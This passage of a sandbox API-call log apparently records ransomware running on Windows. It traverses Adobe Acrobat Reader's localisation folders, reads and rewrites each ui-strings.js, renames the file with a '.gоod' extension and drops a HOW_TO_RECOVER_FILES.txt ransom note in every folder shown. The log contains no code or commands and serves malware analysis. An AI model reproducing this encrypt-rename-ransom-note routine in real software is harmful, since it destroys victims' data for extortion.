[0197.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0197.290] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x71cdd82d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x710)) returned 1 [0197.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0197.290] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js.gоod")) returned 1 [0197.291] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0197.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0197.291] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x850 [0197.292] GetFileType (hFile=0x850) returned 0x1 [0197.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0197.292] GetFileType (hFile=0x850) returned 0x1 [0197.293] WriteFile (in: hFile=0x850, lpBuffer=0x36bca78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x36bca78*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0197.294] CloseHandle (hObject=0x850) returned 1 [0197.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0197.294] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi", lpFilePart=0x0) returned 0x77 [0197.294] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdc1c0 [0197.294] FindNextFileW (in: hFindFile=0x1ecdc1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.294] FindNextFileW (in: hFindFile=0x1ecdc1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x729, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0197.294] FindNextFileW (in: hFindFile=0x1ecdc1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.295] FindClose (in: hFindFile=0x1ecdc1c0 | out: hFindFile=0x1ecdc1c0) returned 1 [0197.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0197.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0197.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0197.295] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi", lpFilePart=0x0) returned 0x77 [0197.295] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdc340 [0197.295] FindNextFileW (in: hFindFile=0x1ecdc340, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.295] FindNextFileW (in: hFindFile=0x1ecdc340, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x729, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0197.295] FindNextFileW (in: hFindFile=0x1ecdc340, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x729, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0197.295] FindClose (in: hFindFile=0x1ecdc340 | out: hFindFile=0x1ecdc340) returned 1 [0197.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0197.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0197.296] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0197.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0197.296] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x36cc950 | out: lpFileInformation=0x36cc950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x729)) returned 1 [0197.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0197.296] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0197.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0197.296] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x850 [0197.296] GetFileType (hFile=0x850) returned 0x1 [0197.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0197.296] GetFileType (hFile=0x850) returned 0x1 [0197.296] GetFileSize (in: hFile=0x850, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x729 [0197.296] ReadFile (in: hFile=0x850, lpBuffer=0x36cd428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x36cd428*, lpNumberOfBytesRead=0x203eb258*=0x729, lpOverlapped=0x0) returned 1 [0197.298] CloseHandle (hObject=0x850) returned 1 [0197.323] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0197.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0197.323] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0197.373] GetFileType (hFile=0x7f8) returned 0x1 [0197.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0197.373] GetFileType (hFile=0x7f8) returned 0x1 [0199.072] WriteFile (in: hFile=0x7f8, lpBuffer=0x3800f58*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3800f58*, lpNumberOfBytesWritten=0x203eb168*=0x730, lpOverlapped=0x0) returned 1 [0199.111] CloseHandle (hObject=0x7f8) returned 1 [0199.111] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0199.111] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0199.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0199.111] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x72e58502, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x730)) returned 1 [0199.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0199.111] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js.gоod")) returned 1 [0199.112] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0199.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0199.112] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0199.112] GetFileType (hFile=0x7f8) returned 0x1 [0199.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0199.113] GetFileType (hFile=0x7f8) returned 0x1 [0199.113] WriteFile (in: hFile=0x7f8, lpBuffer=0x3808ec0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3808ec0*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0199.114] CloseHandle (hObject=0x7f8) returned 1 [0199.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0199.114] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr", lpFilePart=0x0) returned 0x77 [0199.114] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0199.115] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.115] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.115] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0199.116] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0199.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0199.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0199.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0199.116] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr", lpFilePart=0x0) returned 0x77 [0199.116] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0199.116] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.116] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.116] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0199.117] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0199.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0199.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0199.117] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0199.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0199.117] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3818d98 | out: lpFileInformation=0x3818d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748)) returned 1 [0199.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0199.117] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 